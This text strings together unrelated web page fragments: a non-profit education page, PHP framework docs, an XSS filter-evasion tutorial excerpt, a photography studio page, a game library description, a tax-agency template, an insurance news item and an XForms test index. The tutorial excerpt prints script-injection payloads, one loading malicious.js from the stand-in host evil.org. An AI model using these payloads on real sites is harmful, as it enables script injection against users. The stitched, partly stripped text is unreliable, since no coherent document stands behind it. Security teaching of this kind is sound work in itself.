The Sparks Foundation is a non-profit orgranization registered in India and Singapore and operating globally.We inspire students to innovate and help them intergate to build a better human kind.
The Sparks Foundation is working to bring parity in education, making sure children have equal opportunity at success, irrespective of the financial background.
Be Multilingual
Meet with people around the world
Community
Teach and Learn at same time
Professional Courses
Under guidance of the Experts
Exchange Books
Exchange your books with peers
Connect
Connect with mentors whenever needed
Anytime
Choose your schedule as per your convenience
Make and Impact!
You can join The Sparks Foundation as a learner, mentor, expert, intern and make an impact on education. Learn and Share.
Programs We Offer
We organize programs, allowing students to learn from the masters in their fields. Get Inspired. Through stories And workshops, we show them feasibility of big dreams.
Student Scholarship Program
- Ensure money is not the showstopper
- Use a little money to drive bigger results
Read More
Student Mentorship Program
- Make resources available to students to further their dreams
- Help them shape their dreams towards reality
- Guide, Teach, Mentor, and Monitor Students
Read More
Student SOS Programs
- SOS have been used as a code for emergency since 1905
- Some people think "SOS" means “Save Our Souls”, “Send Our Succor” or “Save Our Ship”.
Read More
Training Workshops
- Glimpse for Kids
- LINKS App
- Resume Writing
- Career Choices
- Global Education Choices
Read More
Corporate Programs
- We organize visits to Corporate offices for students belonging to low income group families.
- We match brilliant interns with requirements in companies to get the best talent.
Read More


For this demo, the allowDownsize attribute have been set to true, so that smaller sources are loaded when resizing the browser/img-tag to a smaller size.
Go ahead and resize your browser :)
When you stop resizing, the image will change
Click here to change make the image bigger
Click here to change make the image smaller
Keep in mind that this is the same tag. Only the width and height are changed.


Class Router
PHPRender fast and simple to use PHP MVC framework
MVC Framework for PHP 5.2 + with PHP files views part of YMVC System Router to dynamic loading controllers from GET
PHP version 5
LICENSE: This source file is subject to version 3.01 of the PHP license that is available through the world-wide-web at the following URI: http://www.php.net/license/3_01.txt. If you did not receive a copy of the PHP License and are unable to obtain it through the web, please send a note to<EMAIL_ADDRESS>so we can mail you a copy immediately.
Package: YMVC\Router
Category: Framework, MVC
Copyright: 1997-2016 ydk2.tk
License: PHP License 3.01
Author: ydk2<EMAIL_ADDRESS>Version: 2.0.1
Since: File available since Release 2.0.0
See: YMVC System
Link: http://ymvc.ydk2.tk
Located at libriares/core/router.php
Category: Framework, MVC
Copyright: 1997-2016 ydk2.tk
License: PHP License 3.01
Author: ydk2<EMAIL_ADDRESS>Version: 2.0.1
Since: File available since Release 2.0.0
See: YMVC System
Link: http://ymvc.ydk2.tk
Located at libriares/core/router.php
public static
Xml
|
private static
|
$loader
|
|
private static
|
$data
|


One of the most popular alternative character representations is HTML escaped encoding. In this system, the HEX value of the ASCII character is prefixed with the “%” character.
Consider a routine that removes the “<“ and “>“ special characters:
document.write(cleanSearchString('<>'));
The attacker now uses an alternative coding for the filtered characters, “\x3c” and “\x3e” respectively, and initialises their code with “’) +” to escape out of the routine.
') + '\x3cscript src=http://evil.org/malicious.js\x3e\x3c/script\x3e'
Consider a site that parses the content,
click-me
and, after processing, becomes:
click-me
Causing the URL to be opened in a new window.
However, if the attacker constructs his HREF as follows,
click-me
it will be interpreted as:
click-me
causing the code to be executed in the same page, under the same DOM.
In cases where almost all special characters have are filtered from user supplied strings, attackers must encode the entire attack string.
Consider the following URL:
http://trusted.org/search.cgi?query=%26%7balert%28%27EVIL %27%29%7d%3b&apropos=pos2
The “%26%7balert%28%27EVIL%27%29%7d%3b” resolves to &{alert('EVIL')}; causing in this instance an unexpected JavaScript alert window to popup, with the text “EVIL”.


About Us
Diya Photography is a startup that provides quality photography for reasonable price. In order to provide highest quality to over client we perform only handful events so that our photographers can make your event memorable
We are small group of photographer led by Ankit. We match our client interests and style to our team member to provide cutsomize photography.
Please call us to discus your Event in details.
7987 Leighlin Bridge Way, Apt. J Dublin, OH 43016
(614) 735-4600


|
|
OpenSteer Steering Behaviors for Autonomous Characters |
| Home
SourceForge project page Open Discussion forum Download software Documentation Contact |
OpenSteer is a C++ library to help construct steering behaviors
for
autonomous characters in games and animation. In addition to the
library, OpenSteer provides an OpenGL-based application called
OpenSteerDemo which displays predefined demonstrations of steering
behaviors. The user can quickly prototype, visualize, annotate and
debug new steering behaviors by writing a plug-in for OpenSteerDemo. OpenSteer provides a toolkit of steering behaviors, defined in terms of an abstract mobile agent called a "vehicle." Sample code is provided, including a simple vehicle implementation and examples of combining simple steering behaviors to produce more complex behavior. OpenSteer's classes have been designed to flexibly integrate with existing game engines by either layering or inheritance. OpenSteerDemo's plug-in framework allows a game AI programmer to quickly prototype behaviors during game design, and to develop behaviors before the main game engine is finished. OpenSteerDemo allows the user to interactively adjust aspects of the simulation. The user can: start, stop and single step time, select the vehicle/ character/ agent of interest, adjust the camera's view and its tracking behavior. |
| Last modified: October 25, 2004 |
OpenSteer is distributed as open source software in accordance with the MIT License. OpenSteer was developed with the generous support of Sony Computer Entertainment America. OpenSteer is supported on Linux, Mac OS X and Windows. |


@* * Copyright 2021 HM Revenue & Customs * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *@ @import play.api.Configuration @import uk.gov.hmrc.agentinvitationsfrontend.config.ExternalUrls @import uk.gov.hmrc.agentinvitationsfrontend.controllers.routes @import uk.gov.hmrc.agentinvitationsfrontend.views.html._ @this( mainTemplate: main_template ) @(hasJourneyCache: Boolean, tryAgainCall: Call, reviewAuthsCallOpt: Option[Call], cgtRef: String)(implicit request: Request[_], messages: Messages, configuration: Configuration, externalUrls: ExternalUrls) @mainTemplate(title = Messages("generic.title", Messages(s"cgt-not-matched.header"), Messages("title.suffix.agents")), bodyClasses = None, isAgent = true, mainDataAttributes = None) { @back_link(tryAgainCall.url)
@Messages(s"cgt-not-matched.p1", cgtRef)
@Messages(s"cgt-not-matched.p2")
@Messages(s"cgt-not-matched.advice")


Lemonade Releases Financial Data Following News of Shelved IPO
The company reported annual recurring revenue of $104.4 million and a loss ratio of 78%
by Hagar RavetFollowing reports of its shelved initial public offering plans, online insurance company Lemonade Inc. revealed on Thursday some of its financial data in a blog post. In the post, co-founder Daniel Schreiber said Lemonade’s annual recurring revenue (ARR) currently stands at $104.4 million. For the second quarter of 2017, the company reported an ARR of $10 million ARR.
Schreiber also said that in the third quarter of 2019, Lemonade’s loss ratio was 78%, compared to the 368% loss ratio it reported for the first quarter of 2017 when the company launched its service.
Founded in 2015 by Schreiber and fellow Israel-born entrepreneur Shai Wininger, Lemonade offers customizable property and casualty insurance policies at a flat monthly rate in the U.S. Earlier this year, Lemonade raised $300 million in a round led by SoftBank, bringing its total funding to date to $480 million.


XForms 1.1 Test Suite Implementation Status for Ubiquity-XForms
XForms 1.1 Test -- May 29, 2009
This report describes the results from testing the XForms 1.1 Test Suite with Ubiquity-XForms.
1. About the XForms Specification
2. Introduction to XForms
3. Document Structure
4. Processing Model
5. Datatypes
6. Model Item Properties
7. XPath Expressions in XForms
8. Core Form Controls
9. Container Form Controls
10. XForms Actions
11. The XForms Submission Module
B. Insert and Delete Action Patterns for Data Mutations
G. XForms and Styling
H. Complete XForms Examples